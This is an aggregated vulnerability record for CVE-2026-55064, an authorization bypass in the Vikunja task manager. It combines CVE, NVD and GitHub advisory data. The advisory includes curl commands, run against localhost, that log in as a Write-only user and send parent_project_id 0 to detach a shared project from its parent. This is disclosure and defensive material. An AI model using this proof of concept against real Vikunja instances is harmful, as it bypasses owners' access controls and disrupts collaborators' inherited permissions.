Vulnerability-Lookup

CVE-2026-55064 (GCVE-0-2026-55064)

Vulnerability from cvelistv5 – Published: 2026-08-28 16:38 – Updated: 2026-08-28 20:29

Title

Vikunja incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0

Summary

Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner’s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-28 20:29 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/go-vikunja/vikunja/security/ad…	x_refsource_CONFIRM
https://github.com/go-vikunja/vikunja/pull/3239	x_refsource_MISC
https://github.com/go-vikunja/vikunja/commit/781f…	x_refsource_MISC
https://github.com/go-vikunja/vikunja/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
go-vikunja	vikunja	Affected: >= 2.3.0, < 2.4.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55064",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-28T20:29:08.984552Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-28T20:29:30.143Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.3.0, \u003c 2.4.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner\u2019s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T16:38:38.293Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
        },
        {
          "name": "https://github.com/go-vikunja/vikunja/pull/3239",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vikunja/vikunja/pull/3239"
        },
        {
          "name": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01"
        },
        {
          "name": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
        }
      ],
      "source": {
        "advisory": "GHSA-44v6-7fxq-vgf4",
        "discovery": "UNKNOWN"
      },
      "title": "Vikunja incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55064",
    "datePublished": "2026-08-28T16:38:38.293Z",
    "dateReserved": "2026-06-16T14:33:35.710Z",
    "dateUpdated": "2026-08-28T20:29:30.143Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55064",
      "date": "2026-09-27",
      "epss": "0.00366",
      "percentile": "0.27856"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "vikunja",
                "vendor": "go-vikunja",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.3.0, \u003c 2.4.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner\u2019s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0."
          }
        ],
        "id": "CVE-2026-55064",
        "lastModified": "2026-09-09T21:09:13.080",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55064",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-28T20:29:08.984552Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-28T20:18:23.613",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/go-vikunja/vikunja/pull/3239"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-09-09T00:16:57Z",
      "cve": "CVE-2026-55064",
      "id": "CVE-2026-55064",
      "initial_release_date": "2026-09-09T00:16:57Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-55064",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-55064.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55064",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-28T20:29:08.984552Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-28T20:29:24.515Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "vikunja",
              "vendor": "go-vikunja",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.3.0, \u003c 2.4.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner\u2019s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862: Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-28T16:38:38.293Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
            },
            {
              "name": "https://github.com/go-vikunja/vikunja/pull/3239",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/go-vikunja/vikunja/pull/3239"
            },
            {
              "name": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01"
            },
            {
              "name": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
            }
          ],
          "source": {
            "advisory": "GHSA-44v6-7fxq-vgf4",
            "discovery": "UNKNOWN"
          },
          "title": "Vikunja incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55064",
        "datePublished": "2026-08-28T16:38:38.293Z",
        "dateReserved": "2026-06-16T14:33:35.710Z",
        "dateUpdated": "2026-08-28T20:29:30.143Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55064

Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-09-09 21:09

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/pull/3239
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.3.0, \u003c 2.4.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja is an open-source self-hosted task management platform. From 2.3.0 until 2.4.0, a user with Write but not Admin permission on a shared child project can detach it from its parent hierarchy by submitting parent_project_id equal to 0 to POST /api/v1/projects/{project}. The Project.CanUpdate authorization check in pkg/models/project_permissions.go and UpdateProject logic in pkg/models/project.go only gate nonzero parent values, while UpdateProject always persists parent_project_id, so the explicit zero value bypasses the Admin requirement introduced for CVE-2026-35595. Detachment severs the recursive permission-inheritance chain and can disrupt the owner\u2019s hierarchy and inherited collaborator access. This issue is fixed in version 2.4.0."
    }
  ],
  "id": "CVE-2026-55064",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55064",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-28T20:29:08.984552Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:23.613",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/commit/781ffac198548ae4f3d1febc613caed8e0e11d01"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/pull/3239"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-44V6-7FXQ-VGF4

Vulnerability from github – Published: 2026-08-28 16:39 – Updated: 2026-08-28 16:39

Summary

Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0

Details

Summary

The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when parent_project_id > 0. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending parent_project_id: 0, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.

Affected component

Package: go-vikunja/vikunja
Affected versions: v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.
Tested on: Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)

Technical detail

Vulnerable code

File: pkg/models/project.go (lines 1009-1041)

// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE
// cascades Admin from any owned ancestor, so moving a shared child
// under an attacker-owned root grants Admin on the child. Require
// Admin on both sides of a reparent.
//
// Only gate on non-zero ParentProjectID: the generic update handler
// binds a fresh struct, so an omitted parent_project_id is
// indistinguishable from an explicit 0. Detach-to-root is therefore
// out of scope here -- a proper fix needs a pointer field.
if project.ParentProjectID > 0 {
    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project_permissions.go (line 145)

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    // reparent permission check -- SKIPPED when ParentProjectID == 0
}

File: pkg/models/project.go (line 1065)

colsToUpdate := []string{
    "title", "is_archived", "identifier", "hex_color",
    "parent_project_id",  // <-- ALWAYS included, writes 0 to DB
    "position",
}

Why it's exploitable

The generic web handler (pkg/web/handler/update.go:37) creates a fresh empty Project{} struct -- ParentProjectID defaults to Go's zero value (0).
When JSON body contains "parent_project_id": 0, the struct has ParentProjectID == 0.
CanUpdate at line 145: ParentProjectID != 0 is false -- reparent check skipped -- falls through to CanWrite which succeeds (attacker has Write).
UpdateProject at line 1018: ParentProjectID > 0 is false -- Admin gate skipped entirely.
xorm writes parent_project_id = 0 because "parent_project_id" is always in colsToUpdate with Cols().
The project is detached from its parent hierarchy.

Precondition checklist

[x] Attacker has authenticated account
[x] Attacker has Write permission on a child project (via direct share or team membership)
[x] The target project has a non-zero parent_project_id (it's a child of another project)
[x] Default Vikunja configuration (no special setup needed)

Reproduction

Prerequisites: Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.

Authenticate as attacker:

TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token')

Verify attacker does NOT have Admin (delete should return 403):

curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN"
# Expected: 403

Exploit -- detach project from parent:

curl -s -X POST http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"title":"Sensitive Child Project","parent_project_id":0}'

Verify detachment:

curl -s http://localhost:3456/api/v1/projects/4 \
  -H "Authorization: Bearer $TOKEN" | jq '.parent_project_id'
# Returns: 0 (was: 3)

Evidence (3 independent runs)

Run	parent_project_id BEFORE	DELETE attempt (proves no Admin)	parent_project_id AFTER	Result
1	3 (child of project 3)	HTTP 403 Forbidden	null (detached to root)	CONFIRMED
2	3 (child of project 3)	HTTP 403 Forbidden	null (detached to root)	CONFIRMED
3	3 (child of project 3)	HTTP 403 Forbidden	null (detached to root)	CONFIRMED

Note: "null (detached to root)" means parent_project_id was set to 0 in the database, making the project a root-level project with no parent.

Impact

Unauthorized hierarchy modification: A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).
Permission inheritance disruption: The recursive CTE permission model traverses parent_project_id upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.
Organizational disruption: The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure.

Suggested fix

Use a pointer field *int64 for ParentProjectID to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at project.go:1017: "a proper fix needs a pointer field."

Alternatively, add a dedicated detach boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:39:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when `parent_project_id \u003e 0`. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending `parent_project_id: 0`, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators.\n\n## Affected component\n\n- **Package:** go-vikunja/vikunja\n- **Affected versions:** v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0.\n- **Tested on:** Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27)\n\n## Technical detail\n\n### Vulnerable code\n\n**File: `pkg/models/project.go` (lines 1009-1041)**\n```go\n// GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE\n// cascades Admin from any owned ancestor, so moving a shared child\n// under an attacker-owned root grants Admin on the child. Require\n// Admin on both sides of a reparent.\n//\n// Only gate on non-zero ParentProjectID: the generic update handler\n// binds a fresh struct, so an omitted parent_project_id is\n// indistinguishable from an explicit 0. Detach-to-root is therefore\n// out of scope here -- a proper fix needs a pointer field.\nif project.ParentProjectID \u003e 0 {\n    // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project_permissions.go` (line 145)**\n```go\nif p.ParentProjectID != 0 \u0026\u0026 p.ParentProjectID != ol.ParentProjectID {\n    // reparent permission check -- SKIPPED when ParentProjectID == 0\n}\n```\n\n**File: `pkg/models/project.go` (line 1065)**\n```go\ncolsToUpdate := []string{\n    \"title\", \"is_archived\", \"identifier\", \"hex_color\",\n    \"parent_project_id\",  // \u003c-- ALWAYS included, writes 0 to DB\n    \"position\",\n}\n```\n\n### Why it\u0027s exploitable\n\n1. The generic web handler (`pkg/web/handler/update.go:37`) creates a fresh empty `Project{}` struct -- `ParentProjectID` defaults to Go\u0027s zero value (0).\n2. When JSON body contains `\"parent_project_id\": 0`, the struct has `ParentProjectID == 0`.\n3. `CanUpdate` at line 145: `ParentProjectID != 0` is false -- reparent check skipped -- falls through to `CanWrite` which succeeds (attacker has Write).\n4. `UpdateProject` at line 1018: `ParentProjectID \u003e 0` is false -- Admin gate skipped entirely.\n5. xorm writes `parent_project_id = 0` because `\"parent_project_id\"` is always in `colsToUpdate` with `Cols()`.\n6. The project is detached from its parent hierarchy.\n\n### Precondition checklist\n\n- [x] Attacker has authenticated account\n- [x] Attacker has Write permission on a child project (via direct share or team membership)\n- [x] The target project has a non-zero parent_project_id (it\u0027s a child of another project)\n- [x] Default Vikunja configuration (no special setup needed)\n\n### Reproduction\n\n**Prerequisites:** Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission.\n\n1. Authenticate as attacker:\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"user_a\",\"password\":\"UserAPassword1!\"}\u0027 | jq -r \u0027.token\u0027)\n```\n\n2. Verify attacker does NOT have Admin (delete should return 403):\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\u0027 -X DELETE http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403\n```\n\n3. Exploit -- detach project from parent:\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"Sensitive Child Project\",\"parent_project_id\":0}\u0027\n```\n\n4. Verify detachment:\n```bash\ncurl -s http://localhost:3456/api/v1/projects/4 \\\n  -H \"Authorization: Bearer $TOKEN\" | jq \u0027.parent_project_id\u0027\n# Returns: 0 (was: 3)\n```\n\n### Evidence (3 independent runs)\n\n| Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result |\n|-----|--------------------------|----------------------------------|-------------------------|--------|\n| 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n| 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED |\n\n*Note: \"null (detached to root)\" means `parent_project_id` was set to `0` in the database, making the project a root-level project with no parent.*\n\n## Impact\n\n- **Unauthorized hierarchy modification:** A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents).\n- **Permission inheritance disruption:** The recursive CTE permission model traverses `parent_project_id` upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project.\n- **Organizational disruption:** The project moves from a structured hierarchy to a root-level project, breaking the owner\u0027s intended organizational structure.\n\n## Suggested fix\n\nUse a pointer field `*int64` for `ParentProjectID` to distinguish between \"field omitted\" (nil) and \"explicitly set to 0\" (detach). The fix commit itself acknowledges this at `project.go:1017`: \"a proper fix needs a pointer field.\"\n\nAlternatively, add a dedicated `detach` boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.",
  "id": "GHSA-44v6-7fxq-vgf4",
  "modified": "2026-08-28T16:39:08Z",
  "published": "2026-08-28T16:39:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-44v6-7fxq-vgf4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55064 (GCVE-0-2026-55064)

